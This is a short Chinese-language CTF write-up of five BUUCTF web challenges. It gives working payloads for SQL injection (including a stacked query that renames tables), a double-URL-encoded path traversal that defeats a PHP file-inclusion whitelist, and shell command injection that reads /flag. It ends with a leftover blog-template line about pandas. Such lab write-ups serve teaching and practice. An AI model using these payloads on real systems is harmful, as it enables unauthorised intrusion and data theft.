BUUCTF
文章目录
一、[极客大挑战 2019]EasySQL
sql注入先试一下万能密码
1' or 1=1#
直接给flag了
二、[极客大挑战 2019]Havefun
F12查看源代码
使用get传参并且使cat=dog构造payload:
/?cat=dog
拿到flag
三、[HCTF 2018]WarmUp
查看源码有个文件查看一下
代码审计
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)//&$page这个应该是个地址符传入参数
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];//定义白名单
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(//mb_substr() 函数返回字符串的一部分这里应该是指返回两个问号之间的部分
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);//进行url解码
$_page = mb_substr(//再次返回两个?之间的内容
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])//判断file是否为空
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
看一下hint.php
使用…/进行目录翻阅
首先在网页端会进行一次url解码在这个函数中也进行了一次url解码所以说我们需要对?进行两次url编码也就是%253F
构造payload
/source.php?file=source.php%253F../../../../../ffffllllaaaagggg
拿到flag
四、[ACTF2020 新生赛]Exec
使用ls查看根目录内容
1;ls / (这里的/指的是根目录下的文件)
因为我们不知到flag是什么类型的文件所以不加后缀直接cat
payload:
1;cat /flag
五、[强网杯 2019]随便注
sql注入
这些都被过滤掉了使用show
爆数据库
show databases;
爆表
show tables;
爆列
show columns from 1919810931114514
#
有个flag但这里的flag应该看不了有可能被过虑掉了
把flag换个名字在查看
构造payload
1'; rename table words to word1; rename table `1919810931114514` to words;alter table words add id int unsigned not Null auto_increment primary key; alter table words change flag data varchar(100);#
提示:这里对文章进行总结:
例如:以上就是今天要讲的内容,本文仅仅简单介绍了pandas的使用,而pandas提供了大量能使我们快速便捷地处理数据的函数和方法。